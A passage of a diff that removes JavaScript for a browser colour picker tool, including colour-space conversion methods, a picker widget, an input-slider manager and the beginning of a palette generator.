-	Color.prototype.RGBtoHSL = function RGBtoHSL() {
-		var red		= this.r / 255;
-		var green	= this.g / 255;
-		var blue	= this.b / 255;
-
-		var cmax = Math.max(red, green, blue);
-		var cmin = Math.min(red, green, blue);
-		var delta = cmax - cmin;
-		var hue = 0;
-		var saturation = 0;
-		var lightness = (cmax + cmin) / 2;
-		var X = (1 - Math.abs(2 * lightness - 1));
-
-		if (delta) {
-			if (cmax === red ) { hue = ((green - blue) / delta); }
-			if (cmax === green ) { hue = 2 + (blue - red) / delta; }
-			if (cmax === blue ) { hue = 4 + (red - green) / delta; }
-			if (cmax) saturation = delta / X;
-		}
-
-		this.hue = 60 * hue | 0;
-		if (this.hue < 0) this.hue += 360;
-		this.saturation = (saturation * 100) | 0;
-		this.lightness = (lightness * 100) | 0;
-	};
-
-	/*========== Get Methods ==========*/
-
-	Color.prototype.getHexa = function getHexa() {
-		var r = this.r.toString(16);
-		var g = this.g.toString(16);
-		var b = this.b.toString(16);
-		if (this.r < 16) r = '0' + r;
-		if (this.g < 16) g = '0' + g;
-		if (this.b < 16) b = '0' + b;
-		var value = '#' + r + g + b;
-		return value.toUpperCase();
-	};
-
-	Color.prototype.getRGBA = function getRGBA() {
-
-		var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b;
-		var a = '';
-		var v = '';
-		var x = parseFloat(this.a);
-		if (x !== 1) {
-			a = 'a';
-			v = ', ' + x;
-		}
-
-		var value = 'rgb' + a + rgb + v + ')';
-		return value;
-	};
-
-	Color.prototype.getHSLA = function getHSLA() {
-		if (this.format === 'HSV') {
-			var color = new Color(this);
-			color.setFormat('HSL');
-			color.updateHSX();
-			return color.getHSLA();
-		}
-
-		var a = '';
-		var v = '';
-		var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%';
-		var x = parseFloat(this.a);
-		if (x !== 1) {
-			a = 'a';
-			v = ', ' + x;
-		}
-
-		var value = 'hsl' + a + hsl + v + ')';
-		return value;
-	};
-
-	Color.prototype.getColor = function getColor() {
-		if (this.a | 0 === 1)
-			return this.getHexa();
-		return this.getRGBA();
-	};
-
-	/*=======================================================================*/
-	/*=======================================================================*/
-
-	/*========== Capture Mouse Movement ==========*/
-
-	var setMouseTracking = function setMouseTracking(elem, callback) {
-		elem.addEventListener('mousedown', function(e) {
-			callback(e);
-			document.addEventListener('mousemove', callback);
-		});
-
-		document.addEventListener('mouseup', function(e) {
-			document.removeEventListener('mousemove', callback);
-		});
-	};
-
-	/*====================*/
-	// Color Picker Class
-	/*====================*/
-
-	function ColorPicker(node) {
-		this.color = new Color();
-		this.node = node;
-		this.subscribers = [];
-
-		var type = this.node.getAttribute('data-mode');
-		var topic = this.node.getAttribute('data-topic');
-
-		this.topic = topic;
-		this.picker_mode = (type === 'HSL') ? 'HSL' : 'HSV';
-		this.color.setFormat(this.picker_mode);
-
-		this.createPickingArea();
-		this.createHueArea();
-
-		this.newInputComponent('H', 'hue', this.inputChangeHue.bind(this));
-		this.newInputComponent('S', 'saturation', this.inputChangeSaturation.bind(this));
-		this.newInputComponent('V', 'value', this.inputChangeValue.bind(this));
-		this.newInputComponent('L', 'lightness', this.inputChangeLightness.bind(this));
-
-		this.createAlphaArea();
-
-		this.newInputComponent('R', 'red', this.inputChangeRed.bind(this));
-		this.newInputComponent('G', 'green', this.inputChangeGreen.bind(this));
-		this.newInputComponent('B', 'blue', this.inputChangeBlue.bind(this));
-
-		this.createPreviewBox();
-		this.createChangeModeButton();
-
-		this.newInputComponent('alpha', 'alpha', this.inputChangeAlpha.bind(this));
-		this.newInputComponent('hexa', 'hexa', this.inputChangeHexa.bind(this));
-
-		this.setColor(this.color);
-		pickers[topic] = this;
-	}
-
-	/*************************************************************************/
-	//				Function for generating the color-picker
-	/*************************************************************************/
-
-	ColorPicker.prototype.createPickingArea = function createPickingArea() {
-		var area = document.createElement('div');
-		var picker = document.createElement('div');
-
-		area.className = 'picking-area';
-		picker.className = 'picker';
-
-		this.picking_area = area;
-		this.color_picker = picker;
-		setMouseTracking(area, this.updateColor.bind(this));
-
-		area.appendChild(picker);
-		this.node.appendChild(area);
-	};
-
-	ColorPicker.prototype.createHueArea = function createHueArea() {
-		var area = document.createElement('div');
-		var picker = document.createElement('div');
-
-		area.className = 'hue';
-		picker.className ='slider-picker';
-
-		this.hue_area = area;
-		this.hue_picker = picker;
-		setMouseTracking(area, this.updateHueSlider.bind(this));
-
-		area.appendChild(picker);
-		this.node.appendChild(area);
-	};
-
-	ColorPicker.prototype.createAlphaArea = function createAlphaArea() {
-		var area = document.createElement('div');
-		var mask = document.createElement('div');
-		var picker = document.createElement('div');
-
-		area.className = 'alpha';
-		mask.className = 'alpha-mask';
-		picker.className = 'slider-picker';
-
-		this.alpha_area = area;
-		this.alpha_mask = mask;
-		this.alpha_picker = picker;
-		setMouseTracking(area, this.updateAlphaSlider.bind(this));
-
-		area.appendChild(mask);
-		mask.appendChild(picker);
-		this.node.appendChild(area);
-	};
-
-	ColorPicker.prototype.createPreviewBox = function createPreviewBox(e) {
-		var preview_box = document.createElement('div');
-		var preview_color = document.createElement('div');
-
-		preview_box.className = 'preview';
-		preview_color.className = 'preview-color';
-
-		this.preview_color = preview_color;
-
-		preview_box.appendChild(preview_color);
-		this.node.appendChild(preview_box);
-	};
-
-	ColorPicker.prototype.newInputComponent = function newInputComponent(title, topic, onChangeFunc) {
-		var wrapper = document.createElement('div');
-		var input = document.createElement('input');
-		var info = document.createElement('span');
-
-		wrapper.className = 'input';
-		wrapper.setAttribute('data-topic', topic);
-		info.textContent = title;
-		info.className = 'name';
-		input.setAttribute('type', 'text');
-
-		wrapper.appendChild(info);
-		wrapper.appendChild(input);
-		this.node.appendChild(wrapper);
-
-		input.addEventListener('change', onChangeFunc);
-		input.addEventListener('click', function() {
-			this.select();
-		});
-
-		this.subscribe(topic, function(value) {
-			input.value = value;
-		});
-	};
-
-	ColorPicker.prototype.createChangeModeButton = function createChangeModeButton() {
-
-		var button = document.createElement('div');
-		button.className = 'switch_mode';
-		button.addEventListener('click', function() {
-			if (this.picker_mode === 'HSV')
-				this.setPickerMode('HSL');
-			else
-				this.setPickerMode('HSV');
-
-		}.bind(this));
-
-		this.node.appendChild(button);
-	};
-
-	/*************************************************************************/
-	//					Updates properties of UI elements
-	/*************************************************************************/
-
-	ColorPicker.prototype.updateColor = function updateColor(e) {
-		var x = e.pageX - this.picking_area.offsetLeft;
-		var y = e.pageY - this.picking_area.offsetTop;
-		var picker_offset = 5;
-
-		// width and height should be the same
-		var size = this.picking_area.clientWidth;
-
-		if (x > size) x = size;
-		if (y > size) y = size;
-		if (x < 0) x = 0;
-		if (y < 0) y = 0;
-
-		var value = 100 - (y * 100 / size) | 0;
-		var saturation = x * 100 / size | 0;
-
-		if (this.picker_mode === 'HSV')
-			this.color.setHSV(this.color.hue, saturation, value);
-		if (this.picker_mode === 'HSL')
-			this.color.setHSL(this.color.hue, saturation, value);
-
-		this.color_picker.style.left = x - picker_offset + 'px';
-		this.color_picker.style.top = y - picker_offset + 'px';
-
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('value', value);
-		this.notify('lightness', value);
-		this.notify('saturation', saturation);
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-		this.notify('hexa', this.color.getHexa());
-
-		notify(this.topic, this.color);
-	};
-
-	ColorPicker.prototype.updateHueSlider = function updateHueSlider(e) {
-		var x = e.pageX - this.hue_area.offsetLeft;
-		var width = this.hue_area.clientWidth;
-
-		if (x < 0) x = 0;
-		if (x > width) x = width;
-
-		// TODO 360 => 359
-		var hue = ((359 * x) / width) | 0;
-		// if (hue === 360) hue = 359;
-
-		this.updateSliderPosition(this.hue_picker, x);
-		this.setHue(hue);
-	};
-
-	ColorPicker.prototype.updateAlphaSlider = function updateAlphaSlider(e) {
-		var x = e.pageX - this.alpha_area.offsetLeft;
-		var width = this.alpha_area.clientWidth;
-
-		if (x < 0) x = 0;
-		if (x > width) x = width;
-
-		this.color.a = (x / width).toFixed(2);
-
-		this.updateSliderPosition(this.alpha_picker, x);
-		this.updatePreviewColor();
-
-		this.notify('alpha', this.color.a);
-		notify(this.topic, this.color);
-	};
-
-	ColorPicker.prototype.setHue = function setHue(value) {
-		this.color.setHue(value);
-
-		this.updatePickerBackground();
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-		this.notify('hexa', this.color.getHexa());
-		this.notify('hue', this.color.hue);
-
-		notify(this.topic, this.color);
-	};
-
-	// Updates when one of Saturation/Value/Lightness changes
-	ColorPicker.prototype.updateSLV = function updateSLV() {
-		this.updatePickerPosition();
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-		this.notify('hexa', this.color.getHexa());
-
-		notify(this.topic, this.color);
-	};
-
-	/*************************************************************************/
-	//				Update positions of various UI elements
-	/*************************************************************************/
-
-	ColorPicker.prototype.updatePickerPosition = function updatePickerPosition() {
-		var size = this.picking_area.clientWidth;
-		var value = 0;
-		var offset = 5;
-
-		if (this.picker_mode === 'HSV')
-			value = this.color.value;
-		if (this.picker_mode === 'HSL')
-			value = this.color.lightness;
-
-		var x = (this.color.saturation * size / 100) | 0;
-		var y = size - (value * size / 100) | 0;
-
-		this.color_picker.style.left = x - offset + 'px';
-		this.color_picker.style.top = y - offset + 'px';
-	};
-
-	ColorPicker.prototype.updateSliderPosition = function updateSliderPosition(elem, pos) {
-		elem.style.left = Math.max(pos - 3, -2) + 'px';
-	};
-
-	ColorPicker.prototype.updateHuePicker = function updateHuePicker() {
-		var size = this.hue_area.clientWidth;
-		var offset = 1;
-		var pos = (this.color.hue * size / 360 ) | 0;
-		this.hue_picker.style.left = pos - offset + 'px';
-	};
-
-	ColorPicker.prototype.updateAlphaPicker = function updateAlphaPicker() {
-		var size = this.alpha_area.clientWidth;
-		var offset = 1;
-		var pos = (this.color.a * size) | 0;
-		this.alpha_picker.style.left = pos - offset + 'px';
-	};
-
-	/*************************************************************************/
-	//						Update background colors
-	/*************************************************************************/
-
-	ColorPicker.prototype.updatePickerBackground = function updatePickerBackground() {
-		var nc = new Color(this.color);
-		nc.setHSV(nc.hue, 100, 100);
-		this.picking_area.style.backgroundColor = nc.getHexa();
-	};
-
-	ColorPicker.prototype.updateAlphaGradient = function updateAlphaGradient() {
-		this.alpha_mask.style.backgroundColor = this.color.getHexa();
-	};
-
-	ColorPicker.prototype.updatePreviewColor = function updatePreviewColor() {
-		this.preview_color.style.backgroundColor = this.color.getColor();
-	};
-
-	/*************************************************************************/
-	//						Update input elements
-	/*************************************************************************/
-
-	ColorPicker.prototype.inputChangeHue = function inputChangeHue(e) {
-		var value = parseInt(e.target.value);
-		this.setHue(value);
-		this.updateHuePicker();
-	};
-
-	ColorPicker.prototype.inputChangeSaturation = function inputChangeSaturation(e) {
-		var value = parseInt(e.target.value);
-		this.color.setSaturation(value);
-		e.target.value = this.color.saturation;
-		this.updateSLV();
-	};
-
-	ColorPicker.prototype.inputChangeValue = function inputChangeValue(e) {
-		var value = parseInt(e.target.value);
-		this.color.setValue(value);
-		e.target.value = this.color.value;
-		this.updateSLV();
-	};
-
-	ColorPicker.prototype.inputChangeLightness = function inputChangeLightness(e) {
-		var value = parseInt(e.target.value);
-		this.color.setLightness(value);
-		e.target.value = this.color.lightness;
-		this.updateSLV();
-	};
-
-	ColorPicker.prototype.inputChangeRed = function inputChangeRed(e) {
-		var value = parseInt(e.target.value);
-		this.color.setByName('r', value);
-		e.target.value = this.color.r;
-		this.setColor(this.color);
-	};
-
-	ColorPicker.prototype.inputChangeGreen = function inputChangeGreen(e) {
-		var value = parseInt(e.target.value);
-		this.color.setByName('g', value);
-		e.target.value = this.color.g;
-		this.setColor(this.color);
-	};
-
-	ColorPicker.prototype.inputChangeBlue = function inputChangeBlue(e) {
-		var value = parseInt(e.target.value);
-		this.color.setByName('b', value);
-		e.target.value = this.color.b;
-		this.setColor(this.color);
-	};
-
-	ColorPicker.prototype.inputChangeAlpha = function inputChangeAlpha(e) {
-		var value = parseFloat(e.target.value);
-
-		if (typeof value === 'number' && isNaN(value) === false &&
-			value >= 0 && value <= 1)
-			this.color.a = value.toFixed(2);
-
-		e.target.value = this.color.a;
-		this.updateAlphaPicker();
-	};
-
-	ColorPicker.prototype.inputChangeHexa = function inputChangeHexa(e) {
-		var value = e.target.value;
-		this.color.setHexa(value);
-		this.setColor(this.color);
-	};
-
-	/*************************************************************************/
-	//							Internal Pub/Sub
-	/*************************************************************************/
-
-	ColorPicker.prototype.subscribe = function subscribe(topic, callback) {
-		this.subscribers[topic] = callback;
-	};
-
-	ColorPicker.prototype.notify = function notify(topic, value) {
-		if (this.subscribers[topic])
-			this.subscribers[topic](value);
-	};
-
-	/*************************************************************************/
-	//							Set Picker Properties
-	/*************************************************************************/
-
-	ColorPicker.prototype.setColor = function setColor(color) {
-		if(color instanceof Color !== true) {
-			console.log('Typeof parameter not Color');
-			return;
-		}
-
-		if (color.format !== this.picker_mode) {
-			color.setFormat(this.picker_mode);
-			color.updateHSX();
-		}
-
-		this.color.copy(color);
-		this.updateHuePicker();
-		this.updatePickerPosition();
-		this.updatePickerBackground();
-		this.updateAlphaPicker();
-		this.updateAlphaGradient();
-		this.updatePreviewColor();
-
-		this.notify('red', this.color.r);
-		this.notify('green', this.color.g);
-		this.notify('blue', this.color.b);
-
-		this.notify('hue', this.color.hue);
-		this.notify('saturation', this.color.saturation);
-		this.notify('value', this.color.value);
-		this.notify('lightness', this.color.lightness);
-
-		this.notify('alpha', this.color.a);
-		this.notify('hexa', this.color.getHexa());
-		notify(this.topic, this.color);
-	};
-
-	ColorPicker.prototype.setPickerMode = function setPickerMode(mode) {
-		if (mode !== 'HSV' && mode !== 'HSL')
-			return;
-
-		this.picker_mode = mode;
-		this.node.setAttribute('data-mode', this.picker_mode);
-		this.setColor(this.color);
-	};
-
-	/*************************************************************************/
-	//								UNUSED
-	/*************************************************************************/
-
-	var setPickerMode = function setPickerMode(topic, mode) {
-		if (pickers[topic])
-			pickers[topic].setPickerMode(mode);
-	};
-
-	var setColor = function setColor(topic, color) {
-		if (pickers[topic])
-			pickers[topic].setColor(color);
-	};
-
-	var getColor = function getColor(topic) {
-		if (pickers[topic])
-			return new Color(pickers[topic].color);
-	};
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-
-		subscribers[topic].push(callback);
-	};
-
-	var unsubscribe = function unsubscribe(callback) {
-		subscribers.indexOf(callback);
-		subscribers.splice(index, 1);
-	};
-
-	var notify = function notify(topic, value) {
-		if (subscribers[topic] === undefined || subscribers[topic].length === 0)
-			return;
-
-		var color = new Color(value);
-		for (var i in subscribers[topic])
-			subscribers[topic][i](color);
-	};
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-color-picker');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new ColorPicker(elem[i]);
-	};
-
-	return {
-		init : init,
-		Color : Color,
-		RGBColor : RGBColor,
-		RGBAColor : RGBAColor,
-		HSVColor : HSVColor,
-		HSVAColor : HSVAColor,
-		HSLColor : HSLColor,
-		HSLAColor : HSLAColor,
-		setColor : setColor,
-		getColor : getColor,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe,
-		setPickerMode : setPickerMode
-	};
-
-})();
-
-
-
-/**
- * UI-SlidersManager
- */
-
-var InputSliderManager = (function InputSliderManager() {
-
-	var subscribers = {};
-	var sliders = [];
-
-	var InputComponent = function InputComponent(obj) {
-		var input = document.createElement('input');
-		input.setAttribute('type', 'text');
-		input.style.width = 50 + obj.precision * 10 + 'px';
-
-		input.addEventListener('click', function(e) {
-			this.select();
-		});
-
-		input.addEventListener('change', function(e) {
-			var value = parseFloat(e.target.value);
-
-			if (isNaN(value) === true)
-				setValue(obj.topic, obj.value);
-			else
-				setValue(obj.topic, value);
-		});
-
-		return input;
-	};
-
-	var SliderComponent = function SliderComponent(obj, sign) {
-		var slider = document.createElement('div');
-		var startX = null;
-		var start_value = 0;
-
-		slider.addEventListener("click", function(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			setValue(obj.topic, obj.value + obj.step * sign);
-		});
-
-		slider.addEventListener("mousedown", function(e) {
-			startX = e.clientX;
-			start_value = obj.value;
-			document.body.style.cursor = "e-resize";
-
-			document.addEventListener("mouseup", slideEnd);
-			document.addEventListener("mousemove", sliderMotion);
-		});
-
-		var slideEnd = function slideEnd(e) {
-			document.removeEventListener("mousemove", sliderMotion);
-			document.body.style.cursor = "auto";
-			slider.style.cursor = "pointer";
-		};
-
-		var sliderMotion = function sliderMotion(e) {
-			slider.style.cursor = "e-resize";
-			var delta = (e.clientX - startX) / obj.sensivity | 0;
-			var value = delta * obj.step + start_value;
-			setValue(obj.topic, value);
-		};
-
-		return slider;
-	};
-
-	var InputSlider = function(node) {
-		var min		= parseFloat(node.getAttribute('data-min'));
-		var max		= parseFloat(node.getAttribute('data-max'));
-		var step	= parseFloat(node.getAttribute('data-step'));
-		var value	= parseFloat(node.getAttribute('data-value'));
-		var topic	= node.getAttribute('data-topic');
-		var unit	= node.getAttribute('data-unit');
-		var name 	= node.getAttribute('data-info');
-		var sensivity = node.getAttribute('data-sensivity') | 0;
-		var precision = node.getAttribute('data-precision') | 0;
-
-		this.min = isNaN(min) ? 0 : min;
-		this.max = isNaN(max) ? 100 : max;
-		this.precision = precision >= 0 ? precision : 0;
-		this.step = step < 0 || isNaN(step) ? 1 : step.toFixed(precision);
-		this.topic = topic;
-		this.node = node;
-		this.unit = unit === null ? '' : unit;
-		this.sensivity = sensivity > 0 ? sensivity : 5;
-		value = isNaN(value) ? this.min : value;
-
-		var input = new InputComponent(this);
-		var slider_left  = new SliderComponent(this, -1);
-		var slider_right = new SliderComponent(this,  1);
-
-		slider_left.className = 'ui-input-slider-left';
-		slider_right.className = 'ui-input-slider-right';
-
-		if (name) {
-			var info = document.createElement('span');
-			info.className = 'ui-input-slider-info';
-			info.textContent = name;
-			node.appendChild(info);
-		}
-
-		node.appendChild(slider_left);
-		node.appendChild(input);
-		node.appendChild(slider_right);
-
-		this.input = input;
-		sliders[topic] = this;
-		setValue(topic, value);
-	};
-
-	InputSlider.prototype.setInputValue = function setInputValue() {
-		this.input.value = this.value.toFixed(this.precision) + this.unit;
-	};
-
-	var setValue = function setValue(topic, value, send_notify) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = parseFloat(value.toFixed(slider.precision));
-
-		if (value > slider.max) value = slider.max;
-		if (value < slider.min)	value = slider.min;
-
-		slider.value = value;
-		slider.node.setAttribute('data-value', value);
-
-		slider.setInputValue();
-
-		if (send_notify === false)
-			return;
-
-		notify.call(slider);
-	};
-
-	var setMax = function setMax(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.max = value;
-		setValue(topic, slider.value);
-	};
-
-	var setMin = function setMin(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.min = value;
-		setValue(topic, slider.value);
-	};
-
-	var setUnit = function setUnit(topic, unit) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.unit = unit;
-		setValue(topic, slider.value);
-	};
-
-	var setStep = function setStep(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		slider.step = parseFloat(value);
-		setValue(topic, slider.value);
-	};
-
-	var setPrecision = function setPrecision(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = value | 0;
-		slider.precision = value;
-
-		var step = parseFloat(slider.step.toFixed(value));
-		if (step === 0)
-			slider.step = 1 / Math.pow(10, value);
-
-		setValue(topic, slider.value);
-	};
-
-	var setSensivity = function setSensivity(topic, value) {
-		var slider = sliders[topic];
-		if (slider === undefined)
-			return;
-
-		value = value | 0;
-
-		slider.sensivity = value > 0 ? value : 5;
-	};
-
-	var getNode =  function getNode(topic) {
-		return sliders[topic].node;
-	};
-
-	var getPrecision =  function getPrecision(topic) {
-		return sliders[topic].precision;
-	};
-
-	var getStep =  function getStep(topic) {
-		return sliders[topic].step;
-	};
-
-	var subscribe = function subscribe(topic, callback) {
-		if (subscribers[topic] === undefined)
-			subscribers[topic] = [];
-		subscribers[topic].push(callback);
-	};
-
-	var unsubscribe = function unsubscribe(topic, callback) {
-		subscribers[topic].indexOf(callback);
-		subscribers[topic].splice(index, 1);
-	};
-
-	var notify = function notify() {
-		if (subscribers[this.topic] === undefined)
-			return;
-		for (var i = 0; i < subscribers[this.topic].length; i++)
-			subscribers[this.topic][i](this.value);
-	};
-
-	var createSlider = function createSlider(topic, label) {
-		var slider = document.createElement('div');
-		slider.className = 'ui-input-slider';
-		slider.setAttribute('data-topic', topic);
-
-		if (label !== undefined)
-			slider.setAttribute('data-info', label);
-
-		new InputSlider(slider);
-		return slider;
-	};
-
-	var init = function init() {
-		var elem = document.querySelectorAll('.ui-input-slider');
-		var size = elem.length;
-		for (var i = 0; i < size; i++)
-			new InputSlider(elem[i]);
-	};
-
-	return {
-		init : init,
-		setMax : setMax,
-		setMin : setMin,
-		setUnit : setUnit,
-		setStep : setStep,
-		getNode : getNode,
-		getStep : getStep,
-		setValue : setValue,
-		subscribe : subscribe,
-		unsubscribe : unsubscribe,
-		setPrecision : setPrecision,
-		setSensivity : setSensivity,
-		getPrecision : getPrecision,
-		createSlider : createSlider,
-	};
-
-})();
-
-
-'use strict';
-
-window.addEventListener("load", function() {
-	ColorPickerTool.init();
-});
-
-var ColorPickerTool = (function ColorPickerTool() {
-
-	/*========== Get DOM Element By ID ==========*/
-
-	function getElemById(id) {
-		return document.getElementById(id);
-	}
-
-	function allowDropEvent(e) {
-		e.preventDefault();
-	}
-
-	/*========== Make an element resizable relative to it's parent ==========*/
-
-	var UIComponent = (function UIComponent() {
-
-		function makeResizable(elem, axis) {
-			var valueX = 0;
-			var valueY = 0;
-			var action = 0;
-
-			var resizeStart = function resizeStart(e) {
-				e.stopPropagation();
-				e.preventDefault();
-				if (e.button !== 0)
-					return;
-
-				valueX = e.clientX - elem.clientWidth;
-				valueY = e.clientY - elem.clientHeight;
-
-				document.body.setAttribute('data-resize', axis);
-				document.addEventListener('mousemove', mouseMove);
-				document.addEventListener('mouseup', resizeEnd);
-			};
-
-			var mouseMove = function mouseMove(e) {
-				if (action >= 0)
-					elem.style.width = e.clientX - valueX + 'px';
-				if (action <= 0)
-					elem.style.height = e.clientY - valueY + 'px';
-			};
-
-			var resizeEnd = function resizeEnd(e) {
-				if (e.button !== 0)
-					return;
-
-				document.body.removeAttribute('data-resize', axis);
-				document.removeEventListener('mousemove', mouseMove);
-				document.removeEventListener('mouseup', resizeEnd);
-			};
-
-			var handle = document.createElement('div');
-			handle.className = 'resize-handle';
-
-			if (axis === 'width') action = 1;
-			else if (axis === 'height') action = -1;
-			else axis = 'both';
-
-			handle.className = 'resize-handle';
-			handle.setAttribute('data-resize', axis);
-			handle.addEventListener('mousedown', resizeStart);
-			elem.appendChild(handle);
-		};
-
-		/*========== Make an element draggable relative to it's parent ==========*/
-
-		var makeDraggable = function makeDraggable(elem, endFunction) {
-
-			var offsetTop;
-			var offsetLeft;
-
-			elem.setAttribute('data-draggable', 'true');
-
-			var dragStart = function dragStart(e) {
-				e.preventDefault();
-				e.stopPropagation();
-
-				if (e.target.getAttribute('data-draggable') !== 'true' ||
-					e.target !== elem || e.button !== 0)
-					return;
-
-				offsetLeft = e.clientX - elem.offsetLeft;
-				offsetTop = e.clientY - elem.offsetTop;
-
-				document.addEventListener('mousemove', mouseDrag);
-				document.addEventListener('mouseup', dragEnd);
-			};
-
-			var dragEnd = function dragEnd(e) {
-				if (e.button !== 0)
-					return;
-
-				document.removeEventListener('mousemove', mouseDrag);
-				document.removeEventListener('mouseup', dragEnd);
-			};
-
-			var mouseDrag = function mouseDrag(e) {
-				elem.style.left = e.clientX - offsetLeft + 'px';
-				elem.style.top = e.clientY - offsetTop + 'px';
-			};
-
-			elem.addEventListener('mousedown', dragStart, false);
-		};
-
-		return {
-			makeResizable : makeResizable,
-			makeDraggable : makeDraggable
-		};
-
-	})();
-
-	/*========== Color Class ==========*/
-
-	var Color = UIColorPicker.Color;
-	var HSLColor = UIColorPicker.HSLColor;
-
-	/**
-	 * ColorPalette
-	 */
-	var ColorPalette = (function ColorPalette() {
-
-		var samples = [];
-		var color_palette;
-		var complementary;
-
-		var hideNode = function(node) {
-			node.setAttribute('data-hidden', 'true');
-		};
-
-		var ColorSample = function ColorSample(id) {
-			var node = document.createElement('div');
-			node.className = 'sample';
-
-			this.uid = samples.length;
-			this.node = node;
-			this.color = new Color();
-
-			node.setAttribute('sample-id', this.uid);
-			node.setAttribute('draggable', 'true');
-			node.addEventListener('dragstart', this.dragStart.bind(this));
-			node.addEventListener('click', this.pickColor.bind(this));
-
-			samples.push(this);
-		};
-
-		ColorSample.prototype.updateBgColor = function updateBgColor() {
-			this.node.style.backgroundColor = this.color.getColor();
-		};
-
-		ColorSample.prototype.updateColor = function updateColor(color) {
-			this.color.copy(color);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
-			this.color.copy(color);
-			var hue = (steps * degree + this.color.hue) % 360;
-			if (hue < 0) hue += 360;
-			this.color.setHue(hue);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
-			var saturation = color.saturation + value * steps;
-			if (saturation <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.setSaturation(saturation);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
-			var lightness = color.lightness + value * steps;
-			if (lightness <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.setLightness(lightness);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
-			var brightness = color.value + value * steps;
-			if (brightness <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.setValue(brightness);
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
-			var alpha = parseFloat(color.a) + value * steps;
-			if (alpha <= 0) {
-				this.node.setAttribute('data-hidden', 'true');
-				return;
-			}
-			this.node.removeAttribute('data-hidden');
-			this.color.copy(color);
-			this.color.a = parseFloat(alpha.toFixed(2));
-			this.updateBgColor();
-		};
-
-		ColorSample.prototype.pickColor = function pickColor() {
-			UIColorPicker.setColor('picker', this.color);
-		};
-
-		ColorSample.prototype.dragStart = function dragStart(e) {
-			e.dataTransfer.setData('sampleID', this.uid);
-			e.dataTransfer.setData('location', 'palette-samples');
-		};
-
-		var Palette = function Palette(text, size) {
-			this.samples = [];
-			this.locked = false;
-
-			var palette = document.createElement('div');
-			var title = document.createElement('div');
-			var controls = document.createElement('div');
-			var container = document.createElement('div');
-			var lock = document.createElement('div');
-
-			container.className = 'container';
-			title.className = 'title';
-			palette.className = 'palette';
-			controls.className = 'controls';
-			lock.className = 'lock';
-			title.textContent = text;
-
-			controls.appendChild(lock);
-			container.appendChild(title);
-			container.appendChild(controls);
-			container.appendChild(palette);
-
-			lock.addEventListener('click', function () {
-				this.locked = !this.locked;
-				lock.setAttribute('locked-state', this.locked);
-			}.bind(this));
-
-			for(var i = 0; i < size; i++) {
-				var sample = new ColorSample();
-				this.samples.push(sample);
-				palette.appendChild(sample.node);
-			}
-
-			this.container = container;
-			this.title = title;
-		};
-
-		var createHuePalette = function createHuePalette() {
-			var palette = new Palette('Hue', 12);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				for(var i = 0; i < 12; i++) {
-					palette.samples[i].updateHue(color, 30, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		var createSaturationPalette = function createSaturationPalette() {
-			var palette = new Palette('Saturation', 11);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				for(var i = 0; i < 11; i++) {
-					palette.samples[i].updateSaturation(color, -10, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		/* Brightness or Lightness - depends on the picker mode */
-		var createVLPalette = function createSaturationPalette() {
-			var palette = new Palette('Lightness', 11);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				if(color.format === 'HSL') {
-					palette.title.textContent = 'Lightness';
-					for(var i = 0; i < 11; i++)
-						palette.samples[i].updateLightness(color, -10, i);
-				}
-				else {
-					palette.title.textContent = 'Value';
-					for(var i = 0; i < 11; i++)
-						palette.samples[i].updateBrightness(color, -10, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
-		var isBlankPalette = function isBlankPalette(container, value) {
-			if (value === 0) {
-				container.setAttribute('data-collapsed', 'true');
-				return true;
-			}
-
-			container.removeAttribute('data-collapsed');
-			return false;
-		};
-
-		var createAlphaPalette = function createAlphaPalette() {
-			var palette = new Palette('Alpha', 10);
-
-			UIColorPicker.subscribe('picker', function(color) {
-				if (palette.locked === true)
-					return;
-
-				for(var i = 0; i < 10; i++) {
-					palette.samples[i].updateAlpha(color, -0.1, i);
-				}
-			});
-
-			color_palette.appendChild(palette.container);
-		};
-
